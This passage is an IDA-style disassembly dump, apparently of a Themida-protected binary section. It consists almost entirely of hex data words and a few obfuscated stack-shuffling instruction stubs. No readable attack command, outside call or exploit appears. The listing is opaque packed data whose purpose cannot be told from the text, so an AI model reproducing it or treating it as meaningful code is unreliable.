720C0CC6h, 3A99378Ah, 813C93EBh, 9084FDE9h dd 81EDB21Bh, 16B4A4F1h, 0D19D8B4Ah, 81060720h, 0AA03A6E9h dd 3FADBB6Ch, 8B510764h, 70FD185h, 37048F06h, 1FC19529h dd 858B0607h, 6072C5Dh, 0FC04EE83h, 921CFE81h, 850FFFFFh dd 0FFFFFFA5h, 15CD49BBh, 0A0758261h, 14690889h, 8DA6DC78h dd 36226827h, 35A12E86h, 0D9259086h, 30254813h, 22809905h dd 3F251481h, 30258102h, 79980786h, 3023458Eh, 305EA589h dd 0B5E39086h, 36226483h, 3021CCC8h, 0E7651286h, 0BB75A1C4h dd 0BB21A0C2h, 1461CB86h, 85DA7982h, 36228223h, 4B3ACD0Bh dd 0E0DA228Ch, 0B5E3E20Dh, 36222583h, 2FB7ECC8h, 34A4724Eh dd 4A928FA2h, 79906FF1h, 0BD234F8Eh, 3A5E3B03h, 0BBF5ED80h dd 3035B07Eh, 38CC8486h, 96254286h, 302BA489h, 3B6C9086h dd 0C0A0474Fh, 0D9DADB79h, 3025128Bh, 7E39940Bh, 359D8281h dd 0CF254286h, 7798AC65h, 0BD239D61h, 3DCD450Bh, 15379C80h dd 0FF0E94B6h, 0A0758247h, 14690889h, 8DA6DC78h, 36226827h dd 35A12E86h, 0D9259086h, 30254813h, 83809905h, 0A4F305E9h dd 22B9h, 8E800h, 53880000h, 95D85EB2h, 830F2693h, 4, 51CFBA66h dd 0A3DA805Bh, 73F1C381h, 3FBA0000h, 2B626EF3h, 959589F6h dd 0FF060725h, 0B5091E34h, 6071BBDh, 85896059h, 60713D1h dd 10D1858Bh, 81610607h, 21C0A3C1h, 0E1958B61h, 81060707h dd 0D1591BC1h, 59858B39h, 8106071Fh, 0FDDF75C1h, 0EDBD8B6Ah dd 8906072Bh, 0BD8B330Ch dd 6070401h, 12E86060h, 0BA000000h, 5B8BAC15h, 0C95E453Ah dd 0ABF4E17Dh, 605F12DCh, 0E2815ACEh, 435E7CA8h, 8361F961h dd 858902EEh, 6072131h, 80604E4Eh, 8161C3F5h, 0FF8CE8FEh dd 19850FFFh, 89000000h, 7325195h, 25E906h, 412A0000h dd 9BE009A5h, 61928106h, 0A5DC9431h, 0FF5DE9F9h, 0ED65FFFFh dd 7BB4A270h, 2D0B45E9h, 71578E3Ch, 0E8443E9Ah, 0Eh, 343A48DCh dd 9118F4A0h, 40DF948Ah, 815A0A53h, 6733C2h, 13E800h, 1D8B0000h dd 0D460E516h, 0B782B194h, 42AE4D6Eh, 0B0E4AEB7h, 0CE8B663Ah dd 199FBF58h, 0C7B80000h, 8B3F221Ch, 219D291Ah, 81060707h dd 511F5BEBh, 0D5858B09h, 81060712h, 4F0A60C3h, 6FD9802Dh dd 732AC381h, 0C7B900FAh, 892DB168h, 0FBB9661Ah, 4EA8380h dd 0FE8h, 2A056600h, 6A21E4A5h, 41C63590h, 310BE929h, 850F4F59h dd 0Ch, 2CE9E28Ah, 17000000h, 0D891D65Bh, 0FE8h, 898B6A00h dd 27F6C4A8h, 0B3E8465Bh, 8CC5FEF7h, 59C18B66h, 0FFFF8AE9h dd 0E22D69FFh, 0BF02B776h, 8D4D287Ah, 0DEAFB8Dh, 51006A06h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1604h, 0C3514100h dd 89BC42A5h, 72C958Dh, 798D8906h, 6A060706h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1C042444h, 40000000h dd 5BFCC350h, 0DBFE9545h, 1D922DCh, 71FE19Dh, 0BE806h dd 245F0000h, 0CCBB3A49h, 2DB757A4h, 6E830h, 40650000h dd 0C32A9319h, 2679BD8Bh, 5B5F0607h, 2CE585C7h, 64B80607h dword_565F68 dd 0C28A0000h, 2D0585C7h, 607h, 6A0000h, 3E856h, 5E200000h ; DATA XREF: Themida_:0051F7F8o dd 74895EC3h, 44810424h, 170424h, 56460000h, 0A8A69EC3h dd 0FFE8B23Bh, 721C9B5h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1B04h, 0C3564600h, 2ECCE5EAh, 95455BFCh dd 0DE9h, 0D4E81100h, 4B693B5Ch, 9FCDAE9Eh, 95FF8E6Ah dd 60700BDh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Ah, 4C35747h, 9B945615h, 9D29A09Ah, 6070185h, 6AE3B4h dd 16B595FFh, 0C08B0607h, 9A6309EBh, 37B4DE58h, 0E9BBBA13h dd 1Ah, 5EF23587h, 5 dup(0) dd 81E90000h, 31000008h, 0C99775E6h, 6432104Bh, 3D1AFACh dd 0A06E4C0Fh, 6D08E675h, 1E3DD8FFh, 0B7A47240h, 53080BD9h dd 0F16AA775h, 0D65D4113h, 84D555F4h, 3B009F79h, 7EC76B64h dd 0C97D1BE0h, 17B37246h, 3DA17034h, 996083D8h, 9F820CEAh dd 0EF1249CAh, 0D5937928h, 7A5CE341h, 0FF7EC778h, 23EA0DBCh dd 5F4219F7h, 8A135AE1h, 4D9078C0h, 2C2FE62Ah, 0CA91804Eh dd 29EBA9A7h, 868B4F32h, 0FDF3B2D5h, 9CA44538h, 0C9AF9B5Eh dd 0BFA16042h, 0BFA2E578h, 838E482Fh, 0E234F2D8h, 98209679h dd 0BD27D3h, 240A93EBh, 0BF79BB9Dh, 1AFD4078h, 90A30A7Bh dd 5681E4h, 4AA80000h, 149B898Ch, 7EC76B32h, 99C574B7h dd 3AFEE17Ah, 195D80DBh, 7D3C5FFCh, 41D40E75h, 0F6B43C1Ah dd 51183B20h, 0E998181Eh, 1BFEEFE9h, 87F3097Ch, 1E82DEh dd 4A90000h, 0D0B7C611h, 0FE8FBB56h, 481F2C4Fh, 897EC77Eh dd 41D40E75h, 1CB63C1Ah, 53000000h, 56888C4Ah, 0B57C9FBCh dd 0B65F2306h, 9D7582A5h, 0EE7EC76Bh, 0FC19C5BAh, 4812815Fh dd 0D2898CD1h, 53B63D23h, 0D878BF83h, 53F5D75Eh, 0BA7A78C0h dd 19E00358h, 9A98BB6Ah, 58D49BD5h, 250847BDh, 0CEACAF61h dd 42CE1000h, 3427ED19h, 789B4A11h, 655BC7Ah, 23F01CE3h dd 4CD55538h, 4A29B096h, 0C772B962h, 0E7556184h, 5ACA4690h dd 0B939F1D3h, 84337672h, 0BD9F269Eh, 4272B93Ah, 0B09219FFh dd 3572B93Ah, 0CB990FF2h, 0B8301645h, 0B93A4F31h, 5E91D472h dd 0DC058224h, 0A35E4182h, 0B88EE496h, 0EEAC2C72h, 742EB225h dd 31404CC7h, 0B5985F82h, 8C845E25h, 0A469F1CFh, 0E3A365Fh dd 1285B03h, 5532E097h, 484BB093h, 0D3888ED3h, 280D5724h dd 0D4878C4Ah, 4307EAB1h, 52C08DCEh, 164205CAh, 0CEDD791Fh dd 6C2986EBh, 1FDB88BDh, 3Dh, 0BD34846h, 0E1C34A3Eh, 667EC76Ah dd 917F3D23h, 4A82E7CAh, 6B694BD2h, 0ABEE7EC7h, 4EB4AC8h dd 4A824F0Ch, 0F0B11385h, 4E314334h, 854A4001h, 0AC7ED79Dh dd 62DEC106h, 2Eh, 0BD348FFh, 898C4A3Eh, 5E8AFD2h, 6B1E0087h dd 6D967EC7h, 898C4AA0h, 5E8AFD2h, 0C042887h, 0A17B824Fh dd 6BC0A229h, 2457EC7h, 0D04BA1Fh, 0D61E2B4Eh, 0C7EC2E8h dd 1F3CD509h, 638635FCh, 476AF11Fh, 0C695EA1Eh, 0B0BC97Fh dd 0CFF41D50h, 3F127ED5h, 71F7CC5Ch, 6EF373ACh, 0FA16B85Eh dd 0BCFB261h, 55C4D106h, 6CC01B1Dh, 0DB220639h, 0AE5DB008h dd 481302D0h, 21779D62h, 91B6AF54h, 492CDB80h, 90CB4A8Eh dd 0C9AB32AAh, 4E7EC354h, 0BC9E250Bh, 417EC355h, 1C601BFEh dd 0FB3F62F9h, 26204318h, 0C9702F94h, 5B0015D3h, 0FE8E7138h dd 4BDEA3B9h, 2CA89AD5h, 0AE9017FDh, 337EC2EFh, 0CC490DF0h dd 7D08B18Fh, 0EDE8D2Dh, 61h, 5AD24A35h, 0C76AF1D3h, 3E33767Eh dd 7EC76B5Ch, 0F7BB9EE1h, 201E411Ah, 6B3F21A8h, 81C47EC7h dd 0E33B1E9Eh, 868B76FDh, 0D74F78BFh, 0C04F6E50h, 0E133F378h dd 0E190577Ah, 1B3E81FEh, 538FF4BCh, 5EEA19BEh, 369B7D04h dd 0DD2078C0h, 28483DAAh, 0ECCE9379h, 0B3CC3DF5h, 0C048BEA1h dd 65481302h, 4E0D0400h, 0EE682D2Bh, 0FFDB733Dh, 3A67ED20h dd 5F893E04h, 0BD65FC7Ch, 0C2F950D7h, 337678BFh, 0D18A8755h dd 0CAE0A1AEh, 0FBC3F44Dh, 30E2A084h, 52C4082Bh, 0B3775A09h dd 511FFD5Eh, 0EAF41EC0h, 61843328h, 8D05EB9Ah, 4DFA2406h dd 3366A9F4h, 0F66E8E75h, 5D18FB6Ch, 381EC45Dh, 46F946B1h dd 0EAC80BEEh, 888C4A7Bh, 7EA1BA56h, 0A52508B7h, 4A9B68BEh dd 0F2D5868Ch, 0D045237h, 0E352814Eh, 58868C4Ah, 0D1F4A3B8h dd 0D88270Ah, 7EDB88BEh, 49h, 0BD348A5h, 4426AD25h, 0C97EC76Bh dd 3719A086h, 0BC7EC76Bh, 4A319679h, 0AA5FC985h, 7A9B834Dh dd 48F7BEE1h, 7E60E765h, 37EC78Ah, 0EB4AF3C0h, 824F0C04h dd 0D24ABA7Bh, 0C76B694Bh, 7FABEE7Eh, 67E3C695h, 31h, 0BD34804h dd 4426AD25h, 0C97EC76Bh, 4A3EA386h, 14440DD2h, 718B0C25h dd 921F018Eh, 6E977EC7h, 4EB4AA1h, 1744D20Ch, 8C4A9B68h dd 0A1EED18Ah, 4E0D04E0h, 0A56F2D2Bh, 0A0CC93B6h, 0FEC5E873h dd 0E9468E1Bh, 99617EC2h, 4219F822h, 63D6975Ch, 0D97A897h dd 2FE6B42Ah, 50C5092Ch, 27D6858Eh, 914F4504h, 94A4D784h dd 9A2E7515h, 0E7DC6C4Fh, 9B81DA3Bh, 32635DDh, 3AE3593Ch dd 0DE8D8B4Bh, 4140h, 0D046700h, 362B2B4Eh, 98830AF0h dd 5D78BF8Bh, 0D098F71Ah, 42E22FEBh, 4C6143CAh, 0A3E678C0h dd 0C04BCCAEh, 0DE2E0378h, 3A7655C7h, 0DE7D9555h, 1AA2802Fh dd 0DEB41A55h, 3B022536h, 74B53108h, 0D042C91h, 6CAA684Eh dd 51510CEFh, 0B42C12C8h, 1C3F1CF6h, 0AE57255h, 8F78BF94h dd 48FF6E4Ch, 67250BD3h, 65CAADAEh, 0D04280Dh, 6BAE9017h dd 0AB327EC7h, 7EC76AC9h, 0E3260B4Eh, 0E3526734h, 88BD6C29h dd 351FDBh, 48460000h, 4A3E0BD3h, 0C76AE1C3h, 3D23667Eh dd 0E4C64DC5h, 697EC76Ah, 6B4F3126h, 91D47EC7h, 0EB4A49AEh dd 824F0C04h, 8C4ABA7Bh, 0ECB3D685h, 218D09h, 482A0000h dd 4A3E0BD3h, 0C76AE1C3h, 62B3597Eh, 0AA8C13F9h, 2F7EC76Bh dd 4A703DECh, 4F0C04EBh, 4ABA7B82h, 6B694BD2h, 0ABEE7EC7h dd 4E0D04C8h, 0E8D61E2Bh, 90C7EC2h, 0AA312F52h, 7EC2E9C8h dd 37DE0A4Dh, 3A420124h, 0E4779945h, 5126EE35h, 0EACC53CBh dd 6F7EC2E9h, 47F665AFh, 0EA71A064h, 88D33E0Ch, 26FC6565h dd 0F5E2B940h, 9F5F78BBh, 5937E675h, 0BD348EAh, 0B1AA6725h dd 7FE4C78Eh, 0D04280Dh, 8C4A814Eh, 9AC15589h, 239208EBh dd 88BD6C29h, 4E1FDBh, 682D0000h, 0EFD4E00Dh, 86EBCE32h dd 0D4878C4Ah, 34EA71F1h, 14D24A67h, 71385B00h, 6B1F018Eh dd 61A47EC7h, 4AEB4A94h, 5EEE0DD2h, 0A097DBBh, 0C8043315h dd 9275B87Eh, 4C1942CEh, 8C4ABA7Bh, 9DBE548Ah, 0E104B37Ah dd 1EBB371Ah, 58000000h, 828ED348h, 4A5D2AD9h, 0C76AE1C3h dd 6330597Eh, 0D6858C4Ah, 41675F3h, 7B824F0Ch, 0D10D04BAh dd 32F91C3Fh, 0B536083h, 267EC2E9h, 54BD195Eh, 0B65B2907h dd 9F8282A5h, 2BE96147h, 884F72E9h, 0C2EAB193h, 10F3367Eh dd 8A80B92h, 0EA2D78BBh, 0D3489D0Ch, 8C4A3E0Bh, 34EFD289h dd 5537BE36h, 0DA7EC76Bh, 44FB497h, 52814E0Dh, 4BD24AE3h dd 7EC76B69h, 29C8ABEEh, 0DB88BD6Ch, 0EEF024E2h, 62853427h dd 4977B89Bh, 85000000h, 6BA4860Dh, 0E6297BC7h, 0D3489E03h dd 4486A387h, 0C271780Ch, 0E1C34AF5h, 657EC76Ah, 1F2942A0h dd 50331EDEh, 4AC390D3h, 898C4AEBh, 0BCE8AFD2h, 1BE20556h dd 0BF9C7438h, 4ABA7BF2h, 0B4D7848Ch, 348E0AEDh, 2B000000h dd 3E0BD348h, 6AE1C34Ah, 0A0657EC7h, 18FE351Ah, 0B9251043h dd 0EA139D80h, 0AF603F04h, 2E15C981h, 0D24AE64Bh, 659C840Dh dd 987B471Ah, 4F0C0433h, 4BA7B82h, 2B2B4E0Dh, 5032B936h dd 0D57EC76Bh, 76FDE392h, 78BF9853h, 0AD371558h, 1886EB4h dd 72B22E55h, 0F034579Ah, 8E5C3A21h, 0A8B5D883h, 0B9B21E3Eh dd 38E2D9A1h, 888D4BD9h, 0F4E9B0D3h, 19B28F12h, 0C7A55497h dd 204318F9h, 0ACAF6422h, 4E0D05C9h, 0CAB11F2Bh, 7C5A0110h dd 0D5F863AEh, 3D9h, 15207600h, 25481304h, 82B30E1h, 0E90C4FC4h dd 0C7EA71A5h, 0A6C99283h, 85A8B362h, 678AD141h, 4B6EED23h dd 2B4E0D07h dd 0E689562Ah, 4C681h, 0EE830000h, 24348704h, 241C895Ch dd 2B068h, 242C8900h, 81E18951h, 4C1h, 4E98300h, 5C240C87h dd 68243489h, 6915h, 0BE243489h, 3ABE10C6h, 0B3FBEBBDh dd 5EF5313Ch, 24348B54h, 8304C483h, 48904ECh, 89E88924h dd 0FF580846h, 835E2434h, 2C8B04C4h db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_4FF07A ; --------------------------------------------------------------------------- db 1Bh, 7Dh, 0Bh dd 0EE17FD05h, 0C2DCFBA3h, 71E680DBh, 0DF327B8h, 0FFC50306h dd 9F8786E0h, 0A06D6620h, 43923910h, 0C51A5E52h, 0F6069577h dd 12E821h, 7D7D0000h, 3F21538Dh, 96E4B475h, 0EB9BB32Ch dd 0B5A4BAD2h, 8A0Fh, 0B85E0000h, 16D49D3Ch, 6686C681h dd 8E0F0000h, 0Dh, 0D1816660h, 840F42B7h, 0 dd 197A6861h, 0B65B0000h, 660E8BE6h, 0C181FE8Bh, 43529858h dd 0EAABE981h, 9EB65F6Bh, 0A50F181h, 0BF66337Eh, 0E890CECh dd 81D78B66h, 9F3448EEh, 7BA662Bh, 44C6813Fh, 8B2B9F34h dd 1EB81C1h, 0F000000h, 1185h, 1DE9F800h, 97000000h, 89F0F88Eh dd 837EEB97h, 8DB0EB7Eh, 0FFFFA8E9h, 99C3E8FFh, 0C22B18BEh dd 6F9EDAE0h, 0F51C8D8Dh, 858B060Dh, 6073151h, 6798D89h dd 0BD290607h, 6071B19h, 2CE585C7h, 6B900607h, 6A0000h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h, 51410000h dd 0E3207BC3h, 97909CE2h, 8B6C58B8h, 726299Dh, 0D58D2906h dd 0C706070Bh, 72D0585h, 6, 29B58B00h, 0FF06070Eh, 70C11B5h dd 459D8906h, 0FF060708h, 700BD95h, 52006A06h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1B04h, 0C3524200h, 0C603AD5Eh dd 0B2EBBBF7h, 6E9h, 0BB397D00h, 6A121E85h, 0B595FF00h dd 8B060716h, 0DE1DEBC0h, 484709E2h, 0D4A6D23Fh, 8A7923C2h dd 0F62C5CCh, 0D223ADFEh, 0EF8D41C2h, 9C30182Dh, 0F5F38D8Dh dd 9509060Dh, 607011Dh, 6798D89h, 6A0607h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 170424h, 53430000h, 18C70BC3h dd 68B0FEAh, 81000000h, 289407C6h, 0E585C708h, 0F406072Ch dd 89000064h, 7163DB5h, 585C706h, 6072Dh, 6A000000h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 15042444h, 41000000h dd 0BDA5C351h, 0EE9h, 337D5300h, 7D73DD24h, 6DF23813h dd 0FF951C56h, 721C9B5h, 5D958B06h, 0FF06070Ah, 700BD95h dd 9E806h, 40DF0000h, 0E85F0A53h, 0B866D22h, 7264585h dd 6A5B06h, 16B595FFh, 0C08B0607h, 0C88509EBh, 0CD25471Ch dd 0E9428724h, 14h, 1164925Dh, 4 dup(0) dd 52FE9h, 67F42300h, 259BB89h, 0A1BA5624h, 3E1DF5C3h dd 0D8839260h, 0CA0D5FFAh, 6432104Bh, 0FDCBA9B2h, 99674516h dd 3305E378h, 60E6C84Fh, 916B84D5h, 4E0D04F2h, 0A92EE72Bh dd 3285485Ch, 0C6A45327h, 1F4219F8h, 29EE36DBh, 9ABCEC27h dd 14F6EBC2h, 997EC84Ah, 8684A756h, 0F01348C8h, 92824629h dd 7F47A6C9h, 2833DE38h, 0C4977C4Ah, 6D995EE6h, 3F4F3698h dd 888B4F32h, 0AA6CB0D3h, 0BF19222Dh, 0CBBF6D6h, 86FDDE9h dd 58DF45CEh, 7EC85676h, 0A7FE34FBh, 4BC43EFBh, 410FED9Ch dd 6A688BD0h, 0CC502DF2h, 0CF6B9691h, 0C82FF8DAh, 573A7D7Eh dd 0C82FF3CAh, 42391B7Eh, 87ECC8BDh, 97C3DEh, 4AEA0000h dd 0EED18A8Ch, 8E74E72Ah, 131ACEC9h, 8167B702h, 0C86218FAh dd 775A9D7Eh, 61D7AFBCh, 1DFF7EC8h, 0BAE4A1A6h, 0EA7DE87h dd 0B5000000h, 55D4B63Dh, 3127EC8h, 4D307358h, 0C71004E8h dd 0A29F507Eh, 80D407B1h, 0FFD26150h, 591E04B3h, 83AEFC55h dd 4803E6CFh, 694BD24Ah, 0EE7EC845h, 5C3EC5ABh, 0E17EC845h dd 1DF7BB9Eh, 3BD71B3Eh, 0C6E972A3h, 0E92D50FFh, 0CB0F3229h dd 0E5F11447h, 0C530077h, 71A37F44h, 0C6840CEAh, 64280B50h dd 7AE131ADh, 3E19057h, 4A110494h, 2AB12927h, 7EC76B48h dd 0E3A78ACDh, 0C3072A31h, 0D4878B53h, 183BEAB1h, 0F61942D4h dd 0B482F37h, 6FF66E64h, 7EC76B8Dh, 5CECCF12h, 0CD430167h dd 395CFF11h, 0A2A0C372h, 0C76B391Bh, 0CC7BBE7Eh, 6B7D5FE6h dd 0BF027EC7h, 0DAFD18DCh, 7E23ABC2h, 0A3B85E03h, 5B0AB980h dd 0F962AF7Dh, 0DD7E92D6h, 0BD9E76BAh, 0A1BA569Ah, 60571F7Eh dd 0DCFF5CB6h, 0F6926615h, 5C7FDC38h, 5D22B295h, 8815EFA6h dd 749CDEh, 4C30000h, 0E3274A11h, 8E70F72Dh, 137EC76Bh dd 9FFE21D0h, 0DF36E0D7h, 51169E7Ch, 0CFA6E74Dh, 8B4F3247h dd 6AAED18Ah, 0A490B3A8h, 239B81F6h, 0C7C6BA9Ch, 19FC3F7Eh dd 885C1B7Ah, 5070DEh, 4970000h, 0E3274A11h, 0C4082B30h dd 0D4878F4Fh, 57BE0225h, 1DCC8F87h, 96E00FAh, 0BE05394Ah dd 0CCAAB164h, 6345CC44h, 0E87EC76Bh, 6832D21h, 802FC9CAh dd 1004389Dh, 441B284Bh, 6C7EC76Bh, 770E358Ah, 14DE88B1h dd 6, 0AAB16422h, 0C0462C7h, 29E82C4Fh, 95030F32h, 3F1CF42Eh dd 0EF23E159h, 6B95776Ch, 3FD37EC7h, 8570371Ch, 0B38A5C2Ch dd 0D3492CDBh, 240AD049h, 0DD330C5Fh, 0B99C9ACBh, 9F2DB43Bh dd 6B2978BFh, 53D0B3A8h, 68A9ED10h, 0CA4715F3h, 0EA42390Dh dd 5C0B12DEh, 1E542C39h, 83A578C0h, 1EA2840Bh, 0E42778C0h dd 160A7101h, 0E46BB958h, 78C01E02h, 72954487h, 0D04C8ABh dd 6FA2704Eh, 8C85C9ECh, 0E5EDACCFh, 8ECD449Eh, 0FE7E07B0h dd 10DE48Fh, 34000001h, 2309D148h, 0C070219Ch, 80A3E678h dd 0A086D53Ch, 69BFA128h, 14478C0h, 37DAA81Eh, 45030124h dd 286C8FCCh, 854C6FECh, 0E22FF3D6h, 8F975679h, 123EE28h dd 0C069987Ah, 203BD678h, 6349F83Bh, 7EA71A5h, 0B39DE891h dd 44EEE48Fh, 15000000h, 260CD048h, 0C76B9D9Fh, 0FC1F62FEh dd 0C76C0DEFh, 0BC0395FEh, 6FE6B2A6h, 0F001CEFDh, 7DDE3864h dd 5F61E8CEh, 237EC85Bh, 8BAEAD65h, 2164E1C4h, 7ABD43h dd 7C410000h, 5DB8BBD0h, 50CFCBFEh, 4854B99Ch, 9C2309D1h dd 78BF8BB1h, 884D3376h, 0E7579D8Ah, 2EE9CC29h, 76FD27EAh dd 78BFE494h, 6CAAD619h, 0DA6240EFh, 35217415h, 0EACDC6A8h dd 4D70EB26h, 0BFC86B40h, 3388BC78h, 53312AE7h, 0A48A50C9h dd 0B1BA391Dh, 587BBE72h, 3B5EFD14h, 64FAC12Fh, 7A3F25FDh dd 0BF07C07Eh, 275F604Ah, 37660336h, 9B22A083h, 6CA3D5B7h dd 0AC1BF93Ch, 2309D148h, 0E32FAF65h, 68E6C978h, 0B95CFDE1h dd 1C3F8278h, 442239D8h, 9DC09B76h, 4FDB9C90h, 4037FF81h dd 2E07B96h, 0B56B57Ah, 5F2A093h, 0A8B35E22h, 8AD14185h dd 96ED5B67h, 0B896C54Ch, 25B027EAh, 98C4BC5Ah, 0C4977DA9h dd 7CF4F215h, 0E00358BEh, 84422419h, 84C7614Fh, 5F938251h dd 240744A2h, 8A8h, 8C4A4500h, 48F0D388h, 4813043Dh, 2B30E125h dd 0C4FC408h, 0EA71A5E9h, 0C99283C7h, 0A8B362A6h, 8AD14185h dd 6EED2367h, 4E0D074Bh, 89532A2Bh, 4C381E3h, 83000000h dd 1C3304EBh, 241C3124h, 5C241C33h, 779A68h, 24148900h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ebx push edi push eax mov eax, 2DD67B62h mov edi, 2BDB8D7Dh xor edi, eax pop eax mov edx, edi pop edi push 7DA3h mov [esp], esp add dword ptr [esp], 4 pop ebx push 5C7Ch mov [esp], eax mov eax, edx mov [ebx+8], eax pop eax mov ebx, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp mov edx, [esp] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp jmp loc_4FF07A ; --------------------------------------------------------------------------- db 5Bh dd 6213BFB1h, 1EB9A71Dh, 0DFAB4B8h, 0FFC50306h, 0E202A1E0h dd 0BA423E59h, 2AB28108h, 0AC869A1Ah, 0D729EE71h, 0FEBA83Bh dd 0E582B30Fh, 6453718h, 0DB6C818h, 0AECF5E33h, 7D059612h dd 110D363Dh, 62C0DB47h, 2D8D8D1Bh, 0E9060DFCh, 10h, 669E139Bh dd 0C6AEC941h, 93BCBFB4h, 9B6E3DFFh, 6798D89h, 830F0607h dd 4, 61616060h, 2CE585C7h, 5A080607h, 6A0000h, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 140424h, 55450000h dd 8B66CEC3h, 585C7FAh, 6072Dh, 23000000h, 7085595h, 0C9B5FF06h dd 6A060721h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1D042444h, 42000000h, 939BC352h, 1250E9ACh, 0B60C2ABh dd 0BD95FFh, 0B5090607h, 6072159h, 95FF006Ah, 60716B5h dd 9EBC08Bh, 1AF093FFh, 225B9338h, 7E82Eh, 87270000h, 5DF8D12Fh dd 12E9AEh, 45480000h, 241E3F24h, 0C364B19Eh, 8937735h dd 2708E0E0h, 8E95Bh, 0FB290000h, 9D2C6832h, 0C381CCD2h dd 5C5Fh, 6860Fh, 858B0000h, 6070DE9h, 16ED68h, 0FFBF0F00h dd 47DD805Eh, 9589138Bh, 6070609h, 22CBC281h, 9D296C49h dd 6072119h, 7EC4F281h, 0E78A1CE4h, 0EEEBF281h, 8D891A94h dd 60705A5h, 25B58952h, 8F06071Bh, 14E903h, 9DFE0000h dd 7D53C9BCh, 73DD2433h, 0F238137Dh, 951C566Dh, 0EB83034Fh dd 4B4B4B01h, 969BD89h, 0EE810607h, 1, 0FF9E850Fh, 0C880FFFFh dd 7E8D8D74h, 8B060DFDh, 70C0D95h, 798D8906h, 23060706h dd 7319995h, 0E585C706h, 8806072Ch, 81000066h, 1FD4ABC0h dd 585C735h, 6072Dh, 89000000h, 71AF5BDh, 95896006h, 6071AADh dd 6EAFF081h, 0FF6167A3h, 7157DB5h, 858B5306h, 607327Dh dd 0BD95FF5Ah, 6A060700h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1A042444h, 47000000h, 0A06EC357h, 475C206Eh dd 59BD89E5h, 9060716h, 712E99Dh, 0FF006A06h, 716B595h dd 0EBC08B06h, 8AA6A01Ch, 96A58CE3h, 0FC99A103h, 2EBC8C8Ch dd 0CF803AACh, 0AF3F7B72h, 0AED53236h, 0B9E9DAh, 4F510000h dd 9CD75549h, 0C8C3CA45h, 0ABDAB6E1h, 0B395A7ACh, 0A1F44592h dd 0DA00B395h, 20A7ECABh, 6BB2915Dh, 2096B1F4h, 9B552075h dd 0BCF26BB7h, 0A19692A5h, 603A7594h, 329FB799h, 0E9B599BDh dd 92A59CB2h, 95ACA3F2h, 97B1EF76h, 0B4F94E00h, 5C009FA5h dd 4AF07B6Bh, 0D0008A92h, 0F545F352h, 79A3F653h, 0F144D6D9h dd 0F445E3AFh, 0D77D41h, 0BF9792B0h, 60FD756Bh, 0F996BFCFh dd 20B293BCh, 9B57207Dh, 9492ABF7h, 0E3B29EBDh, 0E0CE9DBCh dd 728F899Bh, 0A9FD8F9Dh, 0F66DB4EEh, 93BCE1B6h, 97B3ED72h dd 0F1B6D000h, 0F0A8CD43h, 0 dd 9D744700h, 99E0E312h, 0E900005Eh, 15AAh, 0E004B68h dd 7D00E906h, 4768FFF9h, 0E9060E01h, 0FFF97CF6h, 0E023B68h dd 7CECE906h, 6568FFF9h, 0E9060E03h, 0FFF97CE2h, 0E03E068h dd 7CD8E906h, 0CA68FFF9h, 0E9060E04h, 0FFF97CCEh, 0E058F68h dd 7CC4E906h, 2D68FFF9h, 0E9060E06h, 0FFF97CBAh, 0E06E468h dd 7CB0E906h, 5B68FFF9h, 0E9060E08h, 0FFF97CA6h, 0E093168h dd 7C9CE906h, 0A768FFF9h, 0E9060E0Ah, 0FFF97C92h, 0E0BC868h dd 7C88E906h, 2B68FFF9h, 0E9060E0Dh, 0FFF97C7Eh, 0E0EAC68h dd 7C74E906h, 0B768FFF9h, 0E9060E10h, 0FFF97C6Ah, 0E118968h dd 7C60E906h, 710FFF9h, 6CA87654h, 0CD4311EFh, 30E2B08Eh dd 967F4D2Bh, 204CE7C5h, 1FFD5EB7h, 0B896C551h, 543229EAh dd 0F2D08B86h, 0D3B53C20h, 5884D569h, 0D04DF7Eh, 2AE72B4Eh dd 50C95331h, 2CE6A48Ah, 47CE4C2Fh, 78C07B74h, 5B4333F8h dd 0BCAAAA4h, 4568AB28h, 0BFC16238h, 7D42F078h, 905FBFC6h dd 56CCE4h, 4AF30000h, 0B3D6858Ch, 908909ECh, 6DD644Ah dd 8278BF9Bh, 240A51C4h, 0C03BBB9Dh, 1AFD4078h, 2734DD9Dh dd 6B8E3D04h, 0C03B885Eh, 0D153BE78h, 0C03B684Ah, 0FBAAED78h dd 0DB8094D8h, 572CBEB8h, 31863408h, 8FE17B0Ah, 0CD10E4h dd 591E0000h, 3880A9A3h, 157A5D3Eh, 42D10D04h, 49476A19h dd 0D6CA3B84h, 3662021Fh, 91587BE0h, 302BEAAEh, 1348C90Dh dd 7265ACF0h, 9416AA5Fh, 4C2AD973h, 0C801B5B5h, 75E62B7Eh dd 0C1510F97h, 3CD2679Ah, 968CD133h, 3922EFB3h, 0DB031616h dd 9D7B6EF5h, 804078C0h, 0DFA6C992h, 51C85230h, 0DF1CA389h dd 1C72B637h, 83A6B55Ch, 0AF270DBCh, 4C3B95EAh, 3E68187h dd 0D08D63Fh, 6DEE224Eh, 312E0BEh, 0DE422158h, 5EBF17AAh dd 130962h, 93C84F00h, 2E2DE7B5h, 0CD8E8250h, 6AF121EFh dd 457BE8Ch, 0F6E18B26h, 905E3C1Fh, 29F7D586h, 0C59371EAh dd 5F310F4Ch, 6B12F47Bh, 0BD9784D5h, 4A11041Eh, 0EE26E46Ch dd 4BC68A6Dh, 48C33210h, 9C2309D1h, 78BF9BC5h, 0CFDCFF42h dd 78C03AF9h, 7EE2D987h, 0E30655C0h, 0C2E5769Fh, 0CA694CFBh dd 0E48FE1BBh, 4635CE93h, 3C8139F4h, 0D31859h, 61260000h dd 7A3A1CD9h, 0C72C0F1Ch, 2B4E0D04h, 